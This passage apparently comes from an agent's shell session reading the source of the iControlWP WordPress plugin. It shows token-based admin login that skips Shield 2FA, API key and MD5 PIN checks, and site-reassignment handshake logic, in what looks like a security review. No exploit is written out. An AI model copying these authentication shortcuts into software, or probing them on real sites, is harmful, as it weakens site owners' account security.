\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FControl\u002FController.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n * All rights reserved. * * \"iControlWP\" is distributed under the GNU General Public License, Version 2, * June 1991. Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin * St, Fifth Floor, Boston, MA 02110, USA * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *\u002F class Controller extends \\ICWP_APP_Foundation { \u002F** * @var \\stdClass *\u002F private static $conOpts; \u002F** * @var Controller *\u002F public static $oInstance; \u002F** * @var string *\u002F private static $sRootFile; \u002F** * @var bool *\u002F protected $rebuildOpts; \u002F** * @var bool *\u002F protected $reset; \u002F** * @var string *\u002F private $pluginBaseFile; \u002F** * @var array *\u002F private $requirementsMessages = []; \u002F** * @var string *\u002F private $cfgHash; \u002F** * @var \\ICWP_APP_FeatureHandler_Base[] *\u002F public $modules = []; \u002F** * @return Controller *\u002F public static function GetInstance( string $rootFile ) { if ( !isset( self::$oInstance ) ) { try { self::$oInstance = new self( $rootFile ); } catch ( \\Exception $e ) { return null; } } return self::$oInstance; } \u002F** * @throws \\Exception *\u002F private function __construct( string $rootFile ) { self::$sRootFile = $rootFile; $this->checkMinimumRequirements(); add_action( 'plugins_loaded', [ $this, 'onWpPluginsLoaded' ], 0 ); } \u002F** * @throws \\Exception *\u002F private function readPluginSpecification() :array { $spec = []; $contents = $this->loadDP()->readFileContentsUsingInclude( $this->getPathPluginSpec() ); if ( !empty( $contents ) ) { $spec = \\json_decode( $contents, true ); if ( empty( $spec ) || !\\is_array( $spec ) ) { throw new \\Exception( 'Could not json_decode the plugin spec configuration.' ); } } return $spec; } \u002F** * @throws \\Exception *\u002F private function checkMinimumRequirements() { if ( is_admin() ) { $meetsRequirements = true; $reqsMessages = $this->getRequirementsMessages(); $minPHP = $this->getPluginSpec_Requirement( 'php' ); if ( !empty( $minPHP ) ) { if ( \\version_compare( \\phpversion(), $minPHP, ' getPluginSpec_Requirement( 'wordpress' ); if ( !empty( $minWP ) ) { $WPversion = $this->loadWP()->getWordpressVersion(); if ( \\version_compare( $WPversion, $minWP, ' requirementsMessages = $reqsMessages; add_action( 'admin_menu', [ $this, 'adminNoticeDoesNotMeetRequirements' ] ); add_action( 'network_admin_notices', [ $this, 'adminNoticeDoesNotMeetRequirements' ] ); throw new \\Exception( 'Plugin does not meet minimum requirements' ); } } } public function adminNoticeDoesNotMeetRequirements() { $msg = $this->getRequirementsMessages(); if ( !empty( $msg ) ) { $this->loadRenderer( $this->getPath_Templates() ) ->setTemplate( 'notices\u002Fdoes-not-meet-requirements' ) ->setRenderVars( [ 'strings' => [ 'requirements' => $msg, 'summary_title' => sprintf( 'Web Hosting requirements for Plugin \"%s\" are not met and you should deactivate the plugin.', esc_html( $this->getHumanName() ) ), 'more_information' => 'Click here for more information on requirements' ], 'hrefs' => [ 'more_information' => sprintf( 'https:\u002F\u002Fwordpress.org\u002Fplugins\u002F%s\u002Ffaq', $this->getTextDomain() ) ] ] ) ->display(); } } protected function getRequirementsMessages() :array { return $this->requirementsMessages ?? $this->requirementsMessages = []; } \u002F** * Registers the plugins activation, deactivate and uninstall hooks. *\u002F protected function registerActivationHooks() { register_deactivation_hook( $this->getRootFile(), [ $this, 'onWpDeactivatePlugin' ] ); } public function onWpDeactivatePlugin() { $tmp = $this->getPath_PluginCache(); if ( FileSystem::Instance()->isDir( $tmp ) ) { FileSystem::Instance()->deleteDir( $tmp ); } if ( current_user_can( $this->getBasePermissions() ) && apply_filters( $this->doPluginPrefix( 'delete_on_deactivate' ), false ) ) { do_action( $this->doPluginPrefix( 'delete_plugin' ) ); $this->deletePluginControllerOptions(); } } public function onWpPluginsLoaded() { load_plugin_textdomain( $this->getTextDomain(), false, plugin_basename( $this->getPath_Languages() ) ); $this->doRegisterHooks(); } protected function doRegisterHooks() { $this->registerActivationHooks(); add_action( 'init', [ $this, 'onWpInit' ] ); add_action( 'admin_init', [ $this, 'onWpAdminInit' ] ); add_action( 'wp_loaded', [ $this, 'onWpLoaded' ] ); add_action( 'admin_menu', [ $this, 'onWpAdminMenu' ] ); add_action( 'network_admin_menu', [ $this, 'onWpAdminMenu' ] ); add_filter( 'all_plugins', [ $this, 'doPluginLabels' ] ); add_filter( 'plugin_action_links_'.$this->getPluginBaseFile(), [ $this, 'onWpPluginActionLinks' ], 50 ); add_filter( 'plugin_row_meta', [ $this, 'onPluginRowMeta' ], 50, 2 ); add_action( 'in_plugin_update_message-'.$this->getPluginBaseFile(), [ $this, 'onWpPluginUpdateMessage' ] ); add_action( 'shutdown', [ $this, 'onWpShutdown' ] ); \u002F\u002F outsource the collection of admin notices if ( is_admin() ) { $this->loadAdminNoticesProcessor()->setActionPrefix( $this->doPluginPrefix() ); } } public function onWpAdminInit() { add_action( 'admin_enqueue_scripts', [ $this, 'onWpEnqueueAdmin' ], 100 ); } public function onWpEnqueueAdmin( $hook = '' ) { if ( \\strpos( (string)$hook, 'icontrolwp_page_icwp' ) === 0 ) { $this->enqueueAdminCss(); $this->enqueueAdminJs(); } } public function onWpLoaded() { if ( $this->getIsValidAdminArea() ) { $this->doPluginFormSubmit(); } } public function onWpInit() { add_action( 'wp_enqueue_scripts', [ $this, 'enqueueFrontendCss' ], 99 ); } public function onWpAdminMenu() { if ( $this->getIsValidAdminArea() ) { $this->createPluginMenu(); } } protected function createPluginMenu() { if ( !apply_filters( $this->doPluginPrefix( 'filter_hidePluginMenu' ), !$this->getPluginSpec_Menu( 'show' ) ) ) { if ( $this->getPluginSpec_Menu( 'top_level' ) ) { $labels = $this->getPluginLabels(); $title = $this->getPluginSpec_Menu( 'title' ); if ( \\is_null( $title ) ) { $title = $this->getHumanName(); } $icon = $this->getPluginUrl_Image( $this->getPluginSpec_Menu( 'icon_image' ) ); $iconURL = empty( $labels[ 'icon_url_16x16' ] ) ? $icon : $labels[ 'icon_url_16x16' ]; $fullMenuID = $this->getPluginPrefix(); add_menu_page( $this->getHumanName(), $title, $this->getBasePermissions(), $fullMenuID, function () { }, $iconURL ); if ( $this->getPluginSpec_Menu( 'has_submenu' ) ) { $itesm = apply_filters( $this->doPluginPrefix( 'filter_plugin_submenu_items' ), [] ); if ( !empty( $itesm ) ) { foreach ( $itesm as $title => $menuItem ) { list( $text, $itemID, $itemCallback ) = $menuItem; add_submenu_page( $fullMenuID, $title, $text, $this->getBasePermissions(), $itemID, $itemCallback ); } } } if ( $this->getPluginSpec_Menu( 'do_submenu_fix' ) ) { $this->fixSubmenu(); } } } } protected function fixSubmenu() { global $submenu; $sFullParentMenuId = $this->getPluginPrefix(); if ( isset( $submenu[ $sFullParentMenuId ] ) ) { unset( $submenu[ $sFullParentMenuId ][ 0 ] ); } } \u002F** * @param array|mixed $meta * @param string|mixed $pluginFile * @return array *\u002F public function onPluginRowMeta( $meta, $pluginFile ) :array { if ( $pluginFile === $this->getPluginBaseFile() ) { if ( !\\is_array( $meta ) ) { $meta = []; } $template = ' %s '; foreach ( $this->getPluginSpec_PluginMeta() as $linkData ) { $link = sprintf( $template, $linkData[ 'href' ], $linkData[ 'name' ] ); $meta[] = $link; } } return $meta; } \u002F** * @param array|mixed $actionLinks *\u002F public function onWpPluginActionLinks( $actionLinks ) :array { if ( $this->getIsValidAdminArea() ) { if ( !\\is_array( $actionLinks ) ) { $actionLinks = []; } $template = ' %s '; foreach ( $this->conOpts()->plugin_spec[ 'action_links' ][ 'add' ] ?? [] as $link ) { if ( empty( $link[ 'name' ] ) || ( empty( $link[ 'url_method_name' ] ) && empty( $link[ 'href' ] ) ) ) { continue; } if ( !empty( $link[ 'url_method_name' ] ) ) { $method = $link[ 'url_method_name' ]; if ( \\method_exists( $this, $method ) ) { $settingsLink = sprintf( $template, $this->{$method}(), \"_top\", $link[ 'name' ] ); \\array_unshift( $actionLinks, $settingsLink ); } } elseif ( !empty( $link[ 'href' ] ) ) { $settingsLink = sprintf( $template, $link[ 'href' ], \"_blank\", $link[ 'name' ] ); \\array_unshift( $actionLinks, $settingsLink ); } } } return $actionLinks; } public function enqueueFrontendCss() { foreach ( $this->getPluginSpec_Include( 'frontend' )[ 'css' ] ?? [] as $asset ) { $uniq = $this->doPluginPrefix( $asset ); wp_register_style( $uniq, $this->getPluginUrl_Css( $asset.'.css' ), ( empty( $dependent ) ? false : $dependent ), $this->getVersion() ); wp_enqueue_style( $uniq ); $dependent = $uniq; } } public function enqueueAdminJs() { $includeTypes = \\array_filter( [ 'admin' => $this->getIsValidAdminArea(), 'plugin_admin' => $this->getIsPage_PluginAdmin(), ] ); foreach ( \\array_keys( $includeTypes ) as $type ) { $dependent = false; foreach ( $this->getPluginSpec_Include( $type )[ 'js' ] ?? [] as $asset ) { $url = $this->getPluginUrl_Js( $asset.'.js' ); if ( !empty( $url ) ) { $uniq = $this->doPluginPrefix( $asset ); wp_register_script( $uniq, $url, $dependent, $this->getVersion().wp_rand(), [ 'in_footer' => true ] ); wp_enqueue_script( $uniq ); $dependent = $uniq; } } } } public function enqueueAdminCss() { $includeTypes = \\array_filter( [ 'admin' => $this->getIsValidAdminArea(), 'plugin_admin' => $this->getIsPage_PluginAdmin(), ] ); foreach ( \\array_keys( $includeTypes ) as $type ) { $dependent = false; foreach ( $this->getPluginSpec_Include( $type )[ 'css' ] ?? [] as $asset ) { $url = $this->getPluginUrl_Css( $asset.'.css' ); if ( !empty( $url ) ) { $sUnique = $this->doPluginPrefix( $asset ); wp_register_style( $sUnique, $url, $dependent, $this->getVersion().wp_rand() ); wp_enqueue_style( $sUnique ); $dependent = $sUnique; } } } } \u002F** * Displays a message in the plugins listing when a plugin has an update available. *\u002F public function onWpPluginUpdateMessage() { $default = sprintf( 'Upgrade Now To Get The Latest Available %s Features.', $this->getHumanName() ); $msg = apply_filters( $this->doPluginPrefix( 'plugin_update_message' ), $default ); echo empty( $msg ) ? '' : sprintf( ' %s ', esc_attr( $this->getPluginPrefix() ), esc_html( $msg ) ); } \u002F** * @param array|mixed $plugins *\u002F public function doPluginLabels( $plugins ) :array { if ( !\\is_array( $plugins ) ) { $plugins = []; } $file = $this->getPluginBaseFile(); if ( \\is_array( $plugins[ $file ] ?? null ) ) { $plugins[ $file ] = \\array_merge( $plugins[ $file ], $this->getPluginLabels() ); } return $plugins; } public function getPluginLabels() :array { $labels = apply_filters( $this->doPluginPrefix( 'plugin_labels' ), $this->getPluginSpec_Labels() ); return \\is_array( $labels ) ? $labels : []; } public function onWpShutdown() { do_action( $this->doPluginPrefix( 'pre_plugin_shutdown' ) ); do_action( $this->doPluginPrefix( 'plugin_shutdown' ) ); $this->saveCurrentPluginControllerOptions(); $this->deleteFlags(); } protected function deleteFlags() { $FS = $this->loadFS(); if ( $FS->exists( $this->getPath_Flags( 'rebuild' ) ) ) { $FS->deleteFile( $this->getPath_Flags( 'rebuild' ) ); } if ( $this->getIsResetPlugin() ) { $FS->deleteFile( $this->getPath_Flags( 'reset' ) ); } } protected function doPluginFormSubmit() { if ( $this->getIsPluginFormSubmit() ) { \u002F\u002F do all the plugin feature\u002Foptions saving do_action( $this->doPluginPrefix( 'form_submit' ) ); if ( $this->getIsPage_PluginAdmin() ) { $this->loadWP()->doRedirect( $this->loadWP()->getUrl_CurrentAdminPage() ); } } } \u002F** * @param string $suffix * @param string $glue *\u002F public function doPluginPrefix( $suffix = '', $glue = '-' ) :string { $prefix = $this->getPluginPrefix( $glue ); if ( $suffix == $prefix || \\strpos( $suffix, $prefix.$glue ) === 0 ) { \u002F\u002Fit already has the full prefix return $suffix; } return sprintf( '%s%s%s', $prefix, empty( $suffix ) ? '' : $glue, empty( $suffix ) ? '' : $suffix ); } public function doPluginOptionPrefix( string $toPrefix ) :string { return $this->doPluginPrefix( $toPrefix, '_' ); } \u002F** * @return mixed|null *\u002F protected function getPluginSpec_Include( string $type ) { return $this->conOpts()->plugin_spec[ 'includes' ][ $type ] ?? null; } \u002F** * @param string $key * @return array|string *\u002F protected function getPluginSpec_Labels( $key = '' ) { $labels = $this->conOpts()->plugin_spec[ 'labels' ] ?? []; \u002F\u002FPrep the icon urls if ( !empty( $labels[ 'icon_url_16x16' ] ) ) { $labels[ 'icon_url_16x16' ] = $this->getPluginUrl_Image( $labels[ 'icon_url_16x16' ] ); } if ( !empty( $labels[ 'icon_url_32x32' ] ) ) { $labels[ 'icon_url_32x32' ] = $this->getPluginUrl_Image( $labels[ 'icon_url_32x32' ] ); } if ( empty( $key ) ) { return $labels; } return $this->conOpts()->plugin_spec[ 'labels' ][ $key ] ?? null; } \u002F** * @param string $key * @return mixed|null *\u002F protected function getPluginSpec_Menu( $key ) { return $this->conOpts()->plugin_spec[ 'menu' ][ $key ] ?? null; } \u002F** * @param string $key * @return mixed|null *\u002F public function getPluginSpec_Path( $key ) { return $this->conOpts()->plugin_spec[ 'paths' ][ $key ] ?? null; } \u002F** * @param string $key * @return mixed|null *\u002F protected function getPluginSpec_Property( $key ) { return $this->conOpts()->plugin_spec[ 'properties' ][ $key ] ?? null; } \u002F** * @return array *\u002F protected function getPluginSpec_PluginMeta() { $conOpts = $this->conOpts(); return ( isset( $conOpts->plugin_spec[ 'plugin_meta' ] ) && \\is_array( $conOpts->plugin_spec[ 'plugin_meta' ] ) ) ? $conOpts->plugin_spec[ 'plugin_meta' ] : []; } \u002F** * @param string $sKey * @return mixed|null *\u002F protected function getPluginSpec_Requirement( $sKey ) { return $this->conOpts()->plugin_spec[ 'requirements' ][ $sKey ] ?? null; } \u002F** * @return string *\u002F public function getBasePermissions() { return $this->getPluginSpec_Property( 'base_permissions' ); } \u002F** * @param bool $checkUserPermissions * @return bool *\u002F public function getIsValidAdminArea( $checkUserPermissions = true ) :bool { if ( $checkUserPermissions && did_action( 'init' ) && !current_user_can( $this->getBasePermissions() ) ) { return false; } $WP = $this->loadWP(); if ( !$WP->isMultisite() && is_admin() ) { return true; } elseif ( $WP->isMultisite() && $this->getIsWpmsNetworkAdminOnly() && is_network_admin() ) { return true; } return false; } public function getOptionStoragePrefix() :string { return $this->getPluginPrefix( '_' ).'_'; } \u002F** * @param $glue *\u002F public function getPluginPrefix( $glue = '-' ) :string { return sprintf( '%s%s%s', $this->getPluginSpec_Property( 'slug_parent' ), $glue, $this->getPluginSlug() ); } \u002F** * Default is to take the 'Name' from the labels section but can override with \"human_name\" from property section. * @return string *\u002F public function getHumanName() { $labels = $this->getPluginLabels(); return empty( $labels[ 'Name' ] ) ? $this->getPluginSpec_Property( 'human_name' ) : $labels[ 'Name' ]; } public function getIsPage_PluginAdmin() :bool { return \\strpos( $this->loadWP()->getCurrentWpAdminPage(), $this->getPluginPrefix() ) === 0; } \u002F** * @return bool *\u002F protected function getIsPluginFormSubmit() { $isSubmit = false; foreach ( [ $this->doPluginOptionPrefix( 'plugin_form_submit' ), 'icwp_link_action' ] as $option ) { if ( !\\is_null( $this->loadDP()->FetchRequest( $option ) ) ) { $isSubmit = true; break; } } return $isSubmit; } public function getIsRebuildOptionsFromFile() :bool { if ( isset( $this->rebuildOpts ) ) { return $this->rebuildOpts; } \u002F\u002F The first choice is to look for the file hash. If it's \"always\" empty, it means we could never \u002F\u002F hash the file in the first place so it's not ever effectively used and it falls back to the rebuild file $conOptions = $this->conOpts(); $specPath = $this->getPathPluginSpec(); $currentHash = @\\md5_file( $specPath ); $modTime = $this->loadFS()->getModifiedTime( $specPath ); $this->rebuildOpts = true; if ( isset( $conOptions->hash ) && is_string( $conOptions->hash ) && ( $conOptions->hash == $currentHash ) ) { $this->rebuildOpts = false; } elseif ( isset( $conOptions->mod_time ) && ( $modTime mod_time ) ) { $this->rebuildOpts = false; } $conOptions->hash = $currentHash; $conOptions->mod_time = $modTime; return $this->rebuildOpts; } public function getIsResetPlugin() :bool { return $this->reset ?? $this->reset = (bool)$this->loadFS()->isFile( $this->getPath_Flags( 'reset' ) ); } \u002F** * @return bool *\u002F public function getIsWpmsNetworkAdminOnly() { return $this->getPluginSpec_Property( 'wpms_network_admin_only' ); } \u002F** * This is the path to the main plugin file relative to the WordPress plugins directory. *\u002F public function getPluginBaseFile() :string { return $this->pluginBaseFile ?? $this->pluginBaseFile = plugin_\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FInternal\u002FUser\u002FLogin.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n loadWP() ->setTransient( self::LoginTokenKey, [ 'token' => $token, 'redirect' => $this->getActionParam( 'redirect', '' ) ], \\MINUTE_IN_SECONDS ); return $this->success( [ 'source' => $source, 'token' => $token ] ); } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n preActionEnvironmentSetup(); try { $this->processAction(); } catch ( \\Exception $e ) { } return $this->setSuccessResponse(); } \u002F** * @return LegacyApi\\ApiResponse * @throws \\Exception *\u002F protected function processAction() { $req = $this->getRequestParams(); $WP = $this->loadWP(); $this->getStandardResponse()->die = true; if ( empty( $req->token ) ) { throw new \\Exception( 'No valid Login Token was sent.' ); } $token = $WP->getTransient( LegacyApi\\Internal\\User\\Login::LoginTokenKey ); $WP->deleteTransient( LegacyApi\\Internal\\User\\Login::LoginTokenKey ); \u002F\u002F One chance per token if ( empty( $token ) || !\\is_array( $token ) ) { throw new \\Exception( 'Login Token is not present or is not of the correct format.' ); } if ( empty( $token[ 'token' ] ) || \\strlen( $token[ 'token' ] ) !== 64 ) { throw new \\Exception( 'Login Token is not correct.' ); } if ( !\\hash_equals( $token[ 'token' ], $req->token ) ) { throw new \\Exception( 'Login Token does not match.' ); } $WPU = $this->loadWpUsers(); $username = $req->getStringParam( 'username' ); $user = $WPU->getUserByUsername( $username ); if ( empty( $username ) || empty( $user ) ) { $aUserRecords = \\version_compare( $WP->getWordpressVersion(), '3.1', '>=' ) ? get_users( 'role=administrator' ) : []; if ( empty( $aUserRecords[ 0 ] ) ) { throw new \\Exception( 'Failed to find a valid user.' ); } $user = $aUserRecords[ 0 ]; } \u002F\u002F By-passes the 2FA process on Shield add_filter( 'odp-shield-2fa_skip', '__return_true' ); if ( !$WPU->setUserLoggedIn( $user->get( 'user_login' ) ) ) { throw new \\Exception( sprintf( 'There was a problem logging you in as \"%s\".', esc_html( $user->get( 'user_login' ) ) ) ); } $redirectTo = $req->getStringParam( 'redirect' ); if ( empty( $redirectTo ) ) { $redirectTo = $token[ 'redirect' ]; } empty( $redirectTo ) ? $WP->redirectToAdmin() : $WP->doRedirect( $redirectTo ); die(); } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_auth.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n doAuth(); } \u002F** * @return LegacyApi\\ApiResponse *\u002F protected function doAuth() { return $this->setSuccessResponse( 'Auth', 0, [ 'is_logged_in' => $this->setAuthorizedUser(), 'is_wpe' => @getenv( 'IS_WPE' ), 'is_wpe_logged_in' => $this->setWpEngineAuth(), ] ); } }\n```\n\u003C\u002Fdetails>","**Shell:** `find \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002F -type f -name \"*.php\" | sort`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fautoupdates.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase_app.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase_plugin.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fcompatibility.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fgoogle_analytics.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_auth.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_index.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_internal.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_link.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_retrieve.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_status.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fsecurity.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fwhitelabel.php\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n preActionVerify(); if ( $actionResponse->success ) { $this->preActionEnvironmentSetup(); $this->processAction(); } $this->postProcessAction(); return $actionResponse; } protected function preActionVerify() { $r = $this->getStandardResponse(); $r->channel = $this->getApiChannel(); $this->preApiCheck(); if ( !$r->success ) { if ( !$this->attemptSiteReassign()->success ) { return; } } $this->handshake(); if ( !$r->success ) { if ( $r->code == 9991 ) { $this->mod->setCanHandshake(); \u002F\u002Frecheck ability to handshake } } } protected function postProcessAction() { $oR = $this->getStandardResponse(); $aData = $oR->data; $aData[ 'verification_code' ] = $this->getRequestParams()->verification_code; } \u002F** * @return LegacyApi\\ApiResponse *\u002F abstract protected function processAction(); \u002F** * @return string *\u002F protected function getApiChannel() { $oParams = $this->getRequestParams(); return \\in_array( $oParams->m, $this->mod->getPermittedApiChannels() ) ? $oParams->m : 'index'; } \u002F** * @return LegacyApi\\ApiResponse *\u002F protected function preApiCheck() { $reqParams = $this->getRequestParams(); $response = $this->getStandardResponse(); if ( !$this->mod->getIsSiteLinked() ) { $sErrorMessage = 'NotAssigned'; return $this->setErrorResponse( $sErrorMessage, 9999 ); } if ( empty( $reqParams->key ) ) { $sErrorMessage = 'EmptyRequestKey'; return $this->setErrorResponse( $sErrorMessage, 9995 ); } if ( $reqParams->key != $this->mod->getPluginAuthKey() ) { $sErrorMessage = 'InvalidKey'; return $this->setErrorResponse( $sErrorMessage, 9998 ); } if ( empty( $reqParams->pin ) ) { $sErrorMessage = 'EmptyRequestPin'; return $this->setErrorResponse( $sErrorMessage, 9994 ); } $sPin = $this->mod->getPluginPin(); if ( md5( $reqParams->pin ) != $sPin ) { $sErrorMessage = 'InvalidPin'; return $this->setErrorResponse( $sErrorMessage, 9997 ); } return $response; } \u002F** * Attempts to relink\u002Freassign a site upon API failure, with certain pre-conditions * * 1) The channel is \"retrieve\" * 2) The site CAN Handshake (it will check this) * 3) The handshake is verified for this package * * @return LegacyApi\\ApiResponse *\u002F protected function attemptSiteReassign() { $req = $this->getRequestParams(); if ( empty( $req->m ) || !in_array( $req->m, [ 'auth', 'internal', 'retrieve' ] ) ) { return $this->setErrorResponse( sprintf( 'Attempting Site Reassign Failed: %s.', 'Site action method is neither \"retrieve\" nor \"internal\".' ), 9806 ); } \u002F\u002F We first verify fully if we CAN handshake if ( !$this->mod->getCanHandshake( true ) ) { return $this->setErrorResponse( sprintf( 'Attempting Site Reassign Failed: %s.', 'Site cannot handshake' ), 9801 ); } $this->handshake(); $r = $this->getStandardResponse(); if ( !$r->success ) { return $this->setErrorResponse( sprintf( 'Attempting Site Reassign Failed: %s.', 'Handshake verify failed' ), 9802 ); } if ( empty( $req->accname ) || !is_email( $req->accname ) ) { return $this->setErrorResponse( sprintf( 'Attempting Site Reassign Failed: %s.', 'Request account empty or invalid' ), 9803 ); } if ( empty( $req->key ) || strlen( $req->key ) != 24 ) { return $this->setErrorResponse( sprintf( 'Attempting Site Reassign Failed: %s.', 'Auth Key not of the correct format' ), 9804 ); } if ( empty( $req->pin ) ) { return $this->setErrorResponse( sprintf( 'Attempting Site Reassign Failed: %s.', 'PIN empty' ), 9805 ); } $this->mod->setOpt( 'key', $req->key ); $this->mod->setAssignedAccount( $req->accname ); $this->mod->setPluginPin( $req->pin ); $this->mod->savePluginOptions(); return $this->setSuccessResponse( 'Attempting Site Reassign Succeeded.', 9800 ); } \u002F** * @return LegacyApi\\ApiResponse *\u002F protected function handshake() { $req = $this->getRequestParams(); $response = $this->getStandardResponse(); if ( !$this->mod->getCanHandshake() ) { $response->handshake = 'unsupported'; return $response; } $response->handshake = 'failed'; try { $this->publicKeyVerify(); return $this->setSuccessResponse(); } catch ( \\Exception $e ) { } try { if ( $this->verifyHmac() ) { return $this->setSuccessResponse(); } } catch ( \\Exception $e ) { } if ( empty( $req->package_name ) || empty( $req->pin ) ) { return $this->setErrorResponse( 'Package Name or PIN were empty. Could not Handshake.', 9990 ); } if ( \\str_starts_with( $req->package_name, 'worpdrive_' ) ) { return $this->setErrorResponse( \"Package verification isn't supported for worpdrive actions.\", 9993 ); } \u002F\u002F We can do this because we've assumed at this point we've validated the communication with iControlWP $verifyURL = sprintf( '%s\u002F%s\u002F%s\u002F%s', \\rtrim( $this->mod->getAppUrl( 'handshake_verify_url' ), '\u002F' ), $req->verification_code, $req->package_name, $req->pin ); $rawResponse = $this->loadFS()->getUrlContent( $verifyURL ); if ( empty( $rawResponse ) ) { return $this->setErrorResponse( sprintf( 'Package Handshaking Failed against URL \"%s\" with an empty response.', $verifyURL ), 9991 ); } $jsonResponse = \\json_decode( \\trim( $rawResponse ) ); if ( !\\is_object( $jsonResponse ) || empty( $jsonResponse->success ) ) { return $this->setErrorResponse( sprintf( 'Package Handshaking Failed against URL \"%s\" with response: \"%s\".', $verifyURL, $rawResponse ), 9992 ); } $response->handshake = 'url'; return $this->setSuccessResponse(); \u002F\u002Fjust to be sure we proceed thereafter } \u002F** * @throws \\Exception *\u002F protected function verifyHmac() :bool { $req = $this->getRequestParams(); $this->verificationWindowCheck(); $verified = false; $hmac = $req->hmac_hash; if ( !empty( $req->pin ) && !empty( $hmac ) && \\hash_equals( $this->mod->getPluginPin(), \\hash( 'md5', $req->pin ) ) ) { $hashEquals = \\hash_equals( $hmac, \\hash_hmac( $req->hmac_algo, \\implode( '', [ $req->action, $req->verification_code, $req->verify_ts, ] ), $req->pin ) ); if ( !$hashEquals ) { throw new \\Exception( 'HMAC verification failed' ); } $this->getStandardResponse()->handshake 